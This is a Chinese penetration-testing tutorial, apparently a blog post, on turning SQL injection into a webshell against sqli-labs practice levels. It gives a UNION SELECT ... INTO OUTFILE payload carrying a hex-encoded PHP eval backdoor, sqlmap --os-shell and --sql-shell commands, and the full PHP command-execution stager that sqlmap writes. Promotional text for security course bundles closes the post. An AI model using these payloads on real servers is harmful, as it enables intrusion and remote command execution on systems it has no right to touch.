渗透测试|sql注入Getshell的几种方式
介绍几种利用sql注入获取系统权限的方法,一是利用outfile函数,另外一种是利用–os-shell。
目录
一. into outfile
利用条件
写入webshell
二. --os-shell
–sql-shell
介绍几种利用sql注入获取系统权限的方法,一是利用outfile函数,另外一种是利用–os-shell。
一. into outfile
利用条件
1. 此方法利用的先决条件
- web目录具有写权限,能够使用单引号
- 知道网站绝对路径(根目录,或则是根目录往下的目录都行)
- secure_file_priv没有具体值(在mysql/my.ini中查看)
2. secure_file_priv
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍
- secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
所以如果我们要想使用into outfile函数写入一句话的话就需要将secure_file_priv 的值设为没有值,那如何设置了?修改secure_file_priv 的值只能通过手动打开配置文件进行修改,不能直接使用sql语句进行修改
(1)看secure-file-priv参数的值
show global variables like '%secure%';
如下,secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出
(2)修改secure_file_priv 的值
我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ‘’ 即可
此时再查看secure_file_priv的值如下已经变为空了
设置完成后我们就可以利用这个函数来写入一句话木马
写入webshell
我们以sqli-labs第七关为例
1. 注入点判断
输入正确的语法正常显示,错误的语法显示说语法错误,页面只存在两种状态,判断为盲注。我们输入?id=3’)) and sleep(5) --+时成功延时,所以注入点就为3’)),我们输入的字符被包含在单引号中,且单引号外有两个双引号包裹
2. 判断列数
我们使用order by 语句判断列数,order by 3时,正常显示,4时不正常,判断为3列
3. 写入webshell
加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话 “ <?php eval($\_REQUEST\[1\]);?> ”。一句话建议进行十六进制转码(不用编码也可以) 16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具
编码后,然后在最前面加上 0x。如下我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+
成功写入,这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于C编译器,Java编译器、一些配置文件的解析、Web服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows采用的是单个斜杠的路径分隔形式,导致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠"\\“分隔路径的形式。 不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是”\",结果也就不会出问题了。
4. 连接webshell
成功连接
如果我们将 secure_file_priv的值为设置为null,我们在进行上面的写入操作发现并没有写进去。
所以没有写进去的情况有两种:
- 网站的路径不对,或者没有使用双斜杠进行转义
- secure_file_priv的值不是为空
二. --os-shell
原理
–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件
此为sqlmap的一个命令,利用这条命令的先决条件:
- 要求为数据库DBA,使用–is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dba
- secure_file_priv没有具体值
- 知道网站的绝对路径
使用
我们以sqli-labs第一关为例
sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell
这里需要我们选择网站的脚本语言,和网站根路径
- [1] common location(s) (‘C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/’) (default) #sqlmap自带测试常规路径
- [2] custom location(s) #自己填写绝对路径
- [3] custom directory list file #自己填写目录字典,我们将字典所在的路径传过去就行
- [4] brute force search
sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):
- tmpbeewq.php 用来执行系统命令
- tmpuqvgw.php 用来上传文件
1. tmpbeewq.php的文件内容为
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
访问一下
2. 使用tmpuqvgw.php上传文件
我们上传一个php的一句话后门
访问
所以这两种方式都需要知道网站的绝对路径才行。
补充:
上面说了sqlmap写入webshell的方式有三种,缺一不可
- web目录具有写权限,能够使用单引号
- 知道网站绝对路径
- secure_file_priv没有具体值(在mysql/my.ini中查看)
在最近的一次护网中,我使用sqlmap写webshell,知道了网站的根目录,还是写不进去。就是由于secure_file_priv的值为NULL。那怎么知道这个值是什么了
–sql-shell
我们可以先使用这个来执行一些sql语句
sqlmap.py -u "xxx" --sql-shell
- 查看文件路径(mysql/data的路径,根目录一般与mysql处于同一目录)
select @@datadir;
- 查看secure_file_priv的值是否为空
select @@secure_file_priv
如下为null,无法写入
当为空的时候则什么都不返回
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
最后给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
【点击领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】
(都打包成一块的了,不能一一展开,总共300多集)
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
朋友们如果有需要全套《黑客&网络安全入门&进阶学习资源包》,点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)